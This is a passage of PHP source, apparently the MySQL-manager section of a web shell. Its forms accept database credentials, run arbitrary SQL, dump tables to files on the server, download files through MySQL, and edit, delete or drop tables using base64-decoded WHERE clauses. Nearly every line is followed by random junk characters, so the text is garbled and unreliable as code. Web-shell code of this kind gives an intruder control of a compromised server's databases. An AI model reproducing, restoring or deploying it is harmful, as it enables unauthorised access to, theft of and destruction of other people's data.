  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');2 V+ ~) I2 k2 z! K1 X% c
  668.         makehide('dbhost');
    ; X7 T7 D$ Q3 l6 U. c
  669.         makehide('dbport');
    7 j; t7 a# j1 }5 s+ m6 i
  670.         makehide('dbuser');
      W! }' }: d# m0 G2 h
  671.         makehide('dbpass');8 w6 w; o$ C7 z
  672.         makehide('dbname');
    . K, j! w1 ]" _. Q$ }$ u/ S
  673.         makehide('charset');
      P& D  C, L' O2 [4 {8 U" M
  674.         makehide('doing');
    + w5 u( I8 i8 X! T
  675.         makehide('action','sqlfile');( N$ N6 f' k1 h
  676.         p('</form>');0 p) A. z* y' L4 K
  677. }
    - R5 s9 @" Q7 i2 _! c6 x# u" U/ e

  678. - W' [, ?# E, D" o! j8 J4 K
  679. elseif ($action == 'sqladmin') {% b, I) j, o9 R. a+ s0 L( c
  680.         !$dbhost && $dbhost = 'localhost';; o/ {) W: H: z. @6 }; Y2 E+ u
  681.         !$dbuser && $dbuser = 'root';
    , M2 n# S+ e' J) g
  682.         !$dbport && $dbport = '3306';# k# d$ Y% C: Z7 ?/ x! U
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';% M0 Q3 }. e( U8 n: p$ F# Y
  684.         if(isset($dbhost)){
    6 j- u% J$ i! ?9 X5 `$ A1 m
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";5 p6 Q5 r4 z$ C
  686.         }$ A/ n3 ?! \2 G8 _# B
  687.         if(isset($dbuser)) {5 F- H( X# c1 ]) H: Y  u/ |
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    + V( {: F; i1 X% I+ n+ D
  689.         }
    1 k, r% H6 ]% H
  690.         if(isset($dbpass)) {& f# ~* ^  ^2 K4 e* `( A
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
    4 {4 B9 t/ U3 E) b5 F
  692.         }
    " x5 c1 r/ |+ Y+ \$ n6 B
  693.         if(isset($dbport)) {5 I  N8 A# @" A+ D; p0 b; h2 d2 D
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";4 ?2 f5 J. M8 ]; u( M5 b( e2 U
  695.         }; j- P2 J1 S2 @' Y, W; B/ V" K9 N
  696.         if(isset($dbname)) {4 e& ^- u* C- r: {  x: `- ~
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
    : q. o. `( P$ y& o- o; X
  698.         }0 u/ Z5 V* e8 P
  699.         if(isset($charset)) {- A) }. ]0 z" s
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";/ V& G) j" [( d# S0 b' {
  701.         }
    2 F/ m& N# U. b& _
  702. 3 B" i; F9 R, ]; ~
  703.         if ($doing == 'backupmysql' && $saveasfile) {5 q3 N4 q. t. n- d) i
  704.                 if (!$table) {
    2 T, I2 K" x& [( M! z+ W
  705.                         m('Please choose the table');* e) X7 P- R' O# b
  706.                 } else {" i2 j3 T3 s: K- C+ i. Q# s
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 t+ r& ?8 `% R& z1 Y# f7 A4 h2 j
  708.                         $table = array_flip($table);
    ( p$ ?  n2 Z! p" ?' i
  709.                         $fp = @fopen($path,'w');0 w8 E6 @+ t& p' Q, ~  D2 A% [
  710.                         if ($fp) {* B1 L+ A3 x/ c2 Q# w6 c5 W, z
  711.                                 $result = q('SHOW tables');' a+ K! E8 o& J. g! u# K1 }
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');2 u6 n( I7 J* F
  713.                                 $mysqldata = '';
    + o' N- P) H1 w- N3 g1 i$ U
  714.                                 while ($currow = mysql_fetch_array($result)) {% p% S6 a& V3 O7 |4 }$ ]! R/ \
  715.                                         if (isset($table[$currow[0]])) {
    6 I& j+ a/ {2 _4 s
  716.                                                 sqldumptable($currow[0], $fp);6 s, ?) l7 [( L# v  o" k3 W
  717.                                         }( Q6 Y' \4 O0 E2 i5 y9 S
  718.                                 }
    4 a/ F1 v9 o% u; M9 Z$ a: y
  719.                                 fclose($fp);) t, M) R% s1 x* v. i5 @$ W( J$ _
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);* f. S* z$ f2 X/ ?9 T
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
    - e# |8 a; M: [- U( V  }/ J
  722.                                 mysql_close();+ s+ ~/ u0 l' Z4 ~
  723.                         } else {
    / f0 }. D7 E" q: A/ k7 I+ o
  724.                                 m('Backup failed');( ^' j. Q9 Z6 k. H3 b) b) G
  725.                         }
    " g, r8 Q1 E; n! _
  726.                 }% ^/ I, C3 w) G- h# c! d! K9 X
  727.         }
    7 ~& g5 X% y2 U7 M
  728.         if ($insert && $insertsql) {
    ) }1 A! s# p; o' a# K/ O
  729.                 $keystr = $valstr = $tmp = '';
    0 k* ]: [: x  V, X
  730.                 foreach($insertsql as $key => $val) {+ O3 {* Y: m8 M/ i8 @4 Q# }
  731.                         if ($val) {
    0 c  P# m/ P; V& Z  M: v5 z  o8 j, y
  732.                                 $keystr .= $tmp.$key;& _( S* N) w: D5 P  i, Y
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";
    & x) ^* n. y2 n# ]1 U, s& O4 j
  734.                                 $tmp = ',';' u- X; d, E- H1 C
  735.                         }
    / w* u0 }! z7 K* t9 Q1 Z& u1 P
  736.                 }& `+ J( t3 p! I: a: V' \
  737.                 if ($keystr && $valstr) {
      P2 B8 [( c0 z0 p
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    % q2 C* ^0 @) A9 u6 O, [1 ?# k3 p
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());4 I) p, j' x, U$ P: ~1 `5 s
  740.                 }7 v. Z% z$ x! T3 g
  741.         }+ M2 C' D9 n: g9 B0 C1 r. m6 c1 I
  742.         if ($update && $insertsql && $base64) {
    8 K; B& S- n7 m3 t
  743.                 $valstr = $tmp = '';4 U: V. ?% P1 j/ v  G
  744.                 foreach($insertsql as $key => $val) {
    3 K. d7 y0 J  w+ O: a
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
      X4 Q0 d3 s4 J( T
  746.                         $tmp = ',';; ~! C1 ]+ e. x
  747.                 }( _! [/ a7 E- J8 S
  748.                 if ($valstr) {
    % e7 A0 W; L6 ]# `  \
  749.                         $where = base64_decode($base64);
    6 N9 i& P' \" w6 b* @
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);9 \' }* F: y' R6 v2 T& ~
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());7 M9 Z8 A$ ^( V6 G7 l$ p9 @
  752.                 }
    ) ^  t; X! ]- t0 b
  753.         }2 D/ k) L' f/ K$ k/ L
  754.         if ($doing == 'del' && $base64) {0 ^  y& y* h" J
  755.                 $where = base64_decode($base64);# _: a8 u5 H! T8 u
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";: U3 G7 \7 J5 ]
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);' L6 p, R  N1 s2 O  k% e
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());, ^' m" O* _# y2 c
  759.         }
    5 }! _' L  R9 k8 E- p% o% b* z
  760. 4 q, W; @+ F7 V3 h) W
  761.         if ($tablename && $doing == 'drop') {/ a, R+ E3 p0 I" \  n; ^. M
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    % N) Y$ \+ j+ W- M! b" s
  763.                 if (q("DROP TABLE $tablename")) {
    8 V9 k8 j4 x. b  N5 A; P
  764.                         m('Drop table of success');" B" e  ?7 T2 w  t& e
  765.                         $tablename = '';
    / z( O" h5 o/ N$ R- b
  766.                 } else {
    : w( w) a2 O' O( M( Q& Y& ~4 c$ {
  767.                         m(mysql_error());
    $ A4 l- F2 C2 K% l5 P, L- p. i
  768.                 }
    # n' p6 l* X; A1 H+ U' ?
  769.         }
    / \5 H! g# p! d  k/ c& d7 m# J

  770. : x: f2 b# ~* V9 C) p
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    4 l* ?1 Q' ~: S5 w1 ^
  772. # D3 [7 o* E" K# M) P3 _
  773.         formhead(array('title'=>'MYSQL Manager'));! a2 p1 H* Z$ v1 N* g/ s
  774.         makehide('action','sqladmin');
    & z* O- ^0 d" C. }8 b
  775.         p('<p>');' ?; z/ M7 J- s9 }8 a) \
  776.         p('DBHost:');
    4 n, E& Q- {% B* q
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));2 z7 _% S! Z2 X1 Y; ~
  778.         p(':');+ \9 d8 Y1 k" s& }- U* j1 X- [! a
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));! M% {  o. y. W* I' ^- r/ e
  780.         p('DBUser:');) Z% X  A' }$ i  _
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));/ T! z6 W1 R! f# r, U6 h. H
  782.         p('DBPass:');
    0 B0 D. r& H* G& t( h% P
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    0 q; T4 a% S. z6 l6 ^9 k# H8 b
  784.         p('DBCharset:');$ }6 O  d- G8 R
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    * }8 e9 Z( i$ w$ A. E
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));, F3 u1 @3 |+ w/ H
  787.         p('</p>');7 b1 I9 l. u# g1 R/ n0 \2 u
  788.         formfoot();% U& L+ U) ?  B5 a/ a# \  {2 X
  789. ?>: P& S8 p( L. [2 g
  790. <script type="text/javascript">1 g; w/ s: n" H) ^" e; V
  791. function editrecord(action, base64, tablename){3 g) v7 E7 h+ S" M& @# H# I
  792.         if (action == 'del') {               
    9 s5 o4 p3 w  H/ I. R3 U1 Z' `
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    ; C, ~! I# q6 v# J6 Q/ N
  794.         }
    , T# A, S: T" t  ?8 @- I
  795.         $('recordlist').doing.value=action;' q+ C: q8 B/ _  r6 B
  796.         $('recordlist').base64.value=base64;& o* }, H4 v. x- m2 `7 P$ u  B
  797.         $('recordlist').tablename.value=tablename;
    : h9 Q& _" F6 `* B9 V( c
  798.         $('recordlist').submit();7 h1 A; R1 f5 y, ^
  799. }
    - v+ B& L- ]+ U! O
  800. function moddbname(dbname) {
    8 J+ e) s: E% r8 c8 {& O3 r) C3 ^
  801.         if(!dbname) return;# E5 T) U) ?/ \# r% h# ?
  802.         $('setdbname').dbname.value=dbname;
    8 O. A3 @' G1 B7 C, l; L- M" n  j2 y
  803.         $('setdbname').submit();
    , x8 W3 I' o. U4 w" U% J
  804. }
      z% O7 E! B8 |  j6 F2 L
  805. function settable(tablename,doing,page) {
    + z4 i- w) \. z4 g& s
  806.         if(!tablename) return;
    , U; h: e; ^9 U8 w  B  n
  807.         if (doing) {
    7 q! j- V& N7 m# Z2 t/ i* a1 F2 Q
  808.                 $('settable').doing.value=doing;* g' b' t: {1 D8 K
  809.         }, d! M" b$ Q* o+ }
  810.         if (page) {, g2 @/ j+ e; E# A6 X! l# D& J( Z! I
  811.                 $('settable').page.value=page;5 Q" f9 I) x1 P: R& }; k
  812.         }; r- I6 W& ]- [$ X; e! G: {
  813.         $('settable').tablename.value=tablename;
    $ l5 I6 G! n2 R5 @' ?, W
  814.         $('settable').submit();
    0 k! G  w" g, Q% q0 Y, V. ~
  815. }
    ; p! T  W! E* V3 ~% G) `7 n. E9 }
  816. </script>
    * J" _$ |9 Y9 A4 ~+ o
  817. <?php( V6 q" B, M5 e5 P. i1 Z
  818.         //操作记录( z% x8 W1 W! D8 H
  819.         formhead(array('name'=>'recordlist'));
    / S9 _2 a$ t/ C; [5 n& N
  820.         makehide('doing');
    # ~; C* ^0 A( a
  821.         makehide('action','sqladmin');
    % Z0 h' p$ K  r0 Z0 `8 K1 y
  822.         makehide('base64');
    7 [' I7 B' }! n6 J: y1 K7 V
  823.         makehide('tablename');
    6 H0 [8 l2 K+ t/ G) {
  824.         p($dbform);
    & X* {* Z, }3 Y( |+ y% f3 S
  825.         formfoot();
    - q$ Q. N" l0 Z6 p* y
  826.         //选定数据库
    - E: A; ^4 \' {" p
  827.         formhead(array('name'=>'setdbname'));! ]; E8 q$ D) K/ `1 [
  828.         makehide('action','sqladmin');" i$ y/ I4 G! I' K
  829.         p($dbform);
    4 R7 W, I5 d. k( a
  830.         if (!$dbname) {# e) y: E0 Y4 d. G/ n
  831.                 makehide('dbname');
    * Y1 r4 a5 `2 s6 s% @3 j! U5 ?
  832.         }
    : v. Z( w9 G1 W+ v
  833.         formfoot();
    $ i6 E: ?0 c/ U
  834.         //选定表1 C/ x8 V; V( ?2 W1 Q
  835.         formhead(array('name'=>'settable'));4 A$ |! U" W5 H( W1 m
  836.         makehide('action','sqladmin');9 F6 {+ V$ c. c+ v
  837.         p($dbform);
    4 |# x. q4 M, Y$ }
  838.         makehide('tablename');
    + g" R( L8 H. _% G0 ?
  839.         makehide('page',$page);- G. J/ X5 Y1 T
  840.         makehide('doing');
    / I- m; g7 o. G% ]5 i1 i: }, }2 ^
  841.         formfoot();
    1 @' h5 K9 ?5 {1 k/ s
  842.         $cachetables = array();        / q; |/ u7 P" [
  843.         $pagenum = 30;
    / T$ N) y6 \8 p4 r# T1 ?! r
  844.         $page = intval($page);# n3 X9 f: p5 b2 b
  845.         if($page) {; C1 ], z% o- I9 C
  846.                 $start_limit = ($page - 1) * $pagenum;  C) |! E! b  S* C& ^
  847.         } else {9 G$ i0 a& B  z# q( i. q' l9 s6 @. ^6 o
  848.                 $start_limit = 0;
    ( @$ `$ @  Z4 s3 G# j/ U
  849.                 $page = 1;
    7 C) i5 F5 L/ f* D  x( R! [  t: L0 ]
  850.         }
    - c# \1 G2 G6 U* e% c
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    : G6 Z7 A+ }/ n! F8 K
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    # P6 N8 U5 n/ m) ]0 {, Y
  853.                 //获取数据库信息
    ! T0 [# s! `: m9 O2 r
  854.                 $mysqlver = mysql_get_server_info();
    " E. U* f! R, @* b; k9 k
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
    . ~: _: y$ x1 J, W  q& F( D
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    # Q4 g( G2 |0 f2 C- y
  857.                 //获取数据库
    0 Y; }8 B+ ^$ c: b8 q; A) h
  858.                 $query = q("SHOW DATABASES");" O& y. X9 q. Y: ?3 H  s6 p) n
  859.                 $dbs = array();
    ' o" {2 P  s6 H7 H9 n/ ]% j+ F
  860.                 $dbs[] = '-- Select a database --';
    . r4 f8 `- c7 \8 r; l
  861.                 while($db = mysql_fetch_array($query)) {
    - ^9 L; R) Z" Q* n3 D# o
  862.                         $dbs[$db['Database']] = $db['Database'];8 e. Z0 _/ Z+ E1 \
  863.                 }5 O# T$ F9 I- T8 ?, s- r
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));' t( }: `- m. G4 ]- T" w0 A" q
  865.                 $tabledb = array();, [0 u6 `3 n! |5 @/ z3 W
  866.                 if ($dbname) {
    * @3 O  u# o% I, m' M  B
  867.                         p('<p>');
    7 U! e$ q: T. e' z& H& \, S
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');4 d5 M4 e- }- }3 X
  869.                         if ($tablename) {
    8 V+ A3 j1 z( P  S# {. k
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
    ; }! @) |: b  a4 ]( O! O
  871.                         }7 @7 J% U, `2 T+ d3 O: L" D
  872.                         p('</p>');7 {6 _) r# O$ E* _) `0 s! [3 B9 Y$ g
  873.                         mysql_select_db($dbname);
    % a* S6 b2 n! \9 u7 T- |; C
  874.                         $getnumsql = '';
    1 n9 W$ e% _$ \5 F+ A! W' |
  875.                         $runquery = 0;5 g0 m' G, {8 U- Y" W
  876.                         if ($sql_query) {
    7 h: q5 u: E' S' b
  877.                                 $runquery = 1;: J. G0 ^- {/ q8 j! S& Q
  878.                         }
    ) B/ Y9 O( B4 |
  879.                         $allowedit = 0;
    9 s* o6 C1 t& Y. O
  880.                         if ($tablename && !$sql_query) {. H: Y( e+ B% m5 \3 K) c
  881.                                 $sql_query = "SELECT * FROM $tablename";/ X+ D9 O$ G$ B# G+ [) o7 k
  882.                                 $getnumsql = $sql_query;
    * o% S- B8 g% Z! i. C
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";% Z3 |  \& M' E. j
  884.                                 $allowedit = 1;
    1 Y8 d9 ]2 |. U  q4 u- w. a
  885.                         }
    7 o5 k8 G) F: T  \1 K% a' ]
  886.                         p('<form action="'.$self.'" method="POST">');
    1 a! z' R6 Q" f
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    . ^2 O  x( i% x& X
  888.                         makehide('tablename', $tablename);$ s7 n5 }! j: G' [. G" \; b& L. C) N
  889.                         makehide('action','sqladmin');
    ) ^' [3 H, D" B6 i4 e/ W# P
  890.                         p($dbform);$ E+ n) n# j0 `" Z" b
  891.                         p('</form>');2 w. v- e' {5 }4 X; E6 [0 v
  892.                         if ($tablename || ($runquery && $sql_query)) {$ ]1 ?1 x; M" M$ v2 p& I6 p# \
  893.                                 if ($doing == 'structure') {
    4 [% _4 y( |5 X0 U- n% r
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");: p) H. J; y9 f/ y4 L% g
  895.                                         $rowdb = array();
    + V2 [1 _) t% Q# y, N
  896.                                         while($row = mysql_fetch_array($result)) {2 ~. w0 j' _' n' B& |( V, A
  897.                                                 $rowdb[] = $row;
    6 v+ M1 k/ B: C; j, u3 u( ~
  898.                                         }: W7 v6 t5 b4 T) G! M
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');6 R/ R4 Q6 F1 d9 W. c
  900.                                         p('<tr class="head">');
    4 E* h! ~$ {' K- O& t. d$ C
  901.                                         p('<td>Field</td>');
    8 j2 R: [; M: v- M' @' T
  902.                                         p('<td>Type</td>');% I8 n6 z+ g; J  r% V  N/ I
  903.                                         p('<td>Null</td>');* q# ^8 S. n7 K+ S
  904.                                         p('<td>Key</td>');
    7 m* e2 L5 w& x/ P
  905.                                         p('<td>Default</td>');& h/ Q, t+ k4 I9 O0 t8 `9 X5 o
  906.                                         p('<td>Extra</td>');& I4 r4 G8 C9 m- O) M! d$ a, X$ G% T
  907.                                         p('</tr>');
    . G( @& W  z5 u) O; x5 t! A
  908.                                         foreach ($rowdb as $row) {
    & u. p' G0 j) \% s
  909.                                                 $thisbg = bg();$ q! ]) A' f2 o- S# _- L
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');0 Y& A9 _$ w; U6 [6 `' n
  911.                                                 p('<td>'.$row['Field'].'</td>');4 [% a- V' w" D& ?/ m
  912.                                                 p('<td>'.$row['Type'].'</td>');  c' G, J1 I1 T5 x6 x: E0 o
  913.                                                 p('<td>'.$row['Null'].' </td>');
    4 s0 I2 ?$ Z  }$ U
  914.                                                 p('<td>'.$row['Key'].' </td>');# a1 x( A7 f: {- Y, Z$ l4 q
  915.                                                 p('<td>'.$row['Default'].' </td>');
    4 v2 p" `2 x& W# {; B1 o. r
  916.                                                 p('<td>'.$row['Extra'].' </td>');
    : y) t5 I4 J0 E: T
  917.                                                 p('</tr>');
    - x+ S4 k2 Z, h0 R! e1 ^
  918.                                         }
    $ F# n3 h& m* |6 c; }
  919.                                         tbfoot();( _9 N) Y. r" I- K! h: N' z
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
    ' m  _% L/ k- s
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);5 N/ o4 i" j' \% y2 z" e& y! w
  922.                                         while ($row = mysql_fetch_array($result)) {
    6 O# R/ ^+ v) H! N8 N% v8 ]
  923.                                                 $rowdb[] = $row;6 A" ?, ~, w& L& Q  \- w9 v$ b% z# x3 Z
  924.                                         }2 H. h3 B9 T0 U2 W2 O
  925.                                         $rs = array();
    0 f3 b6 b3 V" q4 R7 ?7 z
  926.                                         if ($doing == 'insert') {: b6 S3 G% G, Q8 P; C( q
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    ) a$ A4 c1 p# Y  P
  928.                                         } else {: w: D# X, ]' h" ~
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    # S5 M/ W( o. ^5 [8 D
  930.                                                 $where = base64_decode($base64);* c# \6 \2 C& V$ ~5 |
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");' a- h- J, S! ?1 k
  932.                                                 $rs = mysql_fetch_array($result);
    % A, p+ o' a1 V+ |" q( h" U
  933.                                         }
    . L) P1 d: d2 _( }6 D* U
  934.                                         p('<form method="post" action="'.$self.'">');
    $ k7 [! P( C. l
  935.                                         p($dbform);
    7 z9 ?) \' s: M% _" a5 |# J0 f
  936.                                         makehide('action','sqladmin');
    1 j, }  p$ S" N% O* E  E
  937.                                         makehide('tablename',$tablename);3 N6 Q( P- W) u+ D. s% v0 z
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    / ?. A8 P# ^/ x0 l! Y' O; X
  939.                                         foreach ($rowdb as $row) {* A2 G  }8 z2 m  b" Q- i8 m
  940.                                                 if ($rs[$row['Field']]) {
    9 f' {* G4 O% L3 f8 V( V1 r& p( d5 u
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);/ }5 i: }1 E! R4 D  ~: I/ |
  942.                                                 } else {$ q" v8 c! S; N4 y
  943.                                                         $value = '';7 c4 [4 X6 G6 P4 l- i. _6 V% J
  944.                                                 }4 r( p, F! V5 g+ v- N
  945.                                                 $thisbg = bg();
    $ U6 `) i/ ~7 c% M/ E& S
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    & A+ u# x3 E# P' y. S. k5 A
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    6 G$ x  C( ]* T" {
  948.                                         }4 o6 ?% \! |9 b0 S
  949.                                         if ($doing == 'insert') {% ~2 |. G  Y. o: B2 Q
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    4 T9 u: R3 x. N& _& m
  951.                                         } else {0 a  T2 W7 e7 K% o+ ~
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');' S" F# y# q# |/ W& o
  953.                                                 makehide('base64', $base64);5 e0 C( t3 l' M% Z' C
  954.                                         }
    ; s% |2 D# C7 r8 c' p
  955.                                         p('</table></form>');
    ! \5 Z5 ?& w$ K, H5 I
  956.                                 } else {; B+ R& d& _7 v
  957.                                         $querys = @explode(';',$sql_query);
      O' r8 [5 z6 ~: |; _% M1 A8 I& o
  958.                                         foreach($querys as $num=>$query) {
    8 R* J6 p9 W- {: O6 Z
  959.                                                 if ($query) {
    8 k1 _( J# K. u) }3 c" F
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    - P3 K5 r  e& P  C
  961.                                                         switch(qy($query)); _2 {% d* ^- B2 Q1 i
  962.                                                         {1 S, d$ ~$ |( p3 M) v* y* A+ Y
  963.                                                                 case 0:1 `  P3 \2 S* b. _* A7 _6 Z+ M
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    0 ~, K& Z' y+ j4 I
  965.                                                                         break;        : {8 R! J8 q! q( _# Q# @
  966.                                                                 case 1:2 z+ C  e2 s1 b6 m& A1 U1 d$ k
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {# x+ n# H% d- k6 P
  968.                                                                                 $allowedit = 1;  x! e* t/ v( i8 }  D/ ]
  969.                                                                         }
    6 t4 ^* A  k3 [3 ~8 G
  970.                                                                         if ($getnumsql) {
    3 ]/ Y8 F" a" y
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    7 T+ J& g# h, u* t4 `) o3 _  ?4 X. M
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);0 B# D' M# o+ r7 s$ h; f) d
  973.                                                                         }
    / j' l2 R+ @4 M/ r1 A' E
  974.                                                                         if (!$tablename) {
    2 c! D8 t) Y& Y8 \$ K
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    & K8 k/ G( y# `: s: }5 }% d* h4 e2 A% h
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);+ n! e. S" g- h0 s: N, Q9 D; V
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$ \- J9 {& \& T
  978.                                                                                 $tablename = $matches[1][0];
    5 }' f  v* p# r6 c8 a5 o0 i( Q
  979.                                                                         }
    7 G7 g" X- D, p- i9 }3 y
  980.                                                                         $result = q($query);6 a0 \/ J0 T, f
  981.                                                                         p($multipage);
      Q5 h0 q: c2 {1 x( t; C
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
      |) |$ [9 M% s" P
  983.                                                                         p('<tr class="head">');
    8 p- ?1 U8 e, r) h- U! R
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    8 J- E8 |$ w" x; w: ?" E
  985.                                                                         $fieldnum = @mysql_num_fields($result);
    . L6 q1 Z/ G6 I! L/ j0 b
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    1 j8 o' M9 u. D" @% |! [) b6 m" w/ M
  987.                                                                                 $name = @mysql_field_name($result, $i);' R) d6 v; A' v6 E( U
  988.                                                                                 $type = @mysql_field_type($result, $i);
    9 f5 l! C7 C2 o! u/ `) q
  989.                                                                                 $len = @mysql_field_len($result, $i);9 Q' c; g" ?) k+ `) r0 L2 x2 B; s
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    ! @5 J+ c; u- ^( Z! @
  991.                                                                         }# R5 O5 r2 _; T7 S: |/ C* k
  992.                                                                         p('</tr>');
    ! |( D, _  {6 m% e
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    ' q  J9 V5 z* S, t
  994.                                                                                 $thisbg = bg();1 R+ |. }, U' y3 Z
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- v, c6 |8 C  I6 B! W; ~
  996.                                                                                 $where = $tmp = $b1 = '';
    % e2 o5 t8 j+ O/ E, o
  997.                                                                                 foreach($mn as $key=>$inside){
    - T  G. L# c" b: Y. P  w* J
  998.                                                                                         if ($inside) {
    " l3 {  b% m$ N9 q3 m* A2 g6 n
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";' j; [; E, ?( Q0 a
  1000.                                                                                                 $tmp = ' AND ';
    : l/ N$ M* Q) ~& x! z
  1001.                                                                                         }
    * h; x) B( h; }8 Z7 I8 o: q' D
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';. K* z$ q1 i: w8 r. Z; R. |9 {3 f
  1003.                                                                                 }1 Q: S# L# L, b8 {* b
  1004.                                                                                 $where = base64_encode($where);
    0 O8 g! R7 q# x/ v+ u
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');4 e1 C0 a( F9 u8 m
  1006.                                                                                 p($b1);
    ; Z; B2 |( R& e  P2 D2 D) U$ m/ N7 O
  1007.                                                                                 p('</tr>');& G7 n( t! L( {( z7 ]
  1008.                                                                                 unset($b1);
    # [* n  N1 D8 S: u  W
  1009.                                                                         }3 ^1 Y( V5 s; Q0 X; \
  1010.                                                                         tbfoot();9 G; R- W. i) N/ K  [
  1011.                                                                         p($multipage);. F/ _9 i& [' ^" E+ T* \
  1012.                                                                         break;       
    5 D( K5 R' S4 R- I/ I! u
  1013.                                                                 case 2:% [3 `/ U# s! v4 Q9 F: \$ T
  1014.                                                                         $ar = mysql_affected_rows();
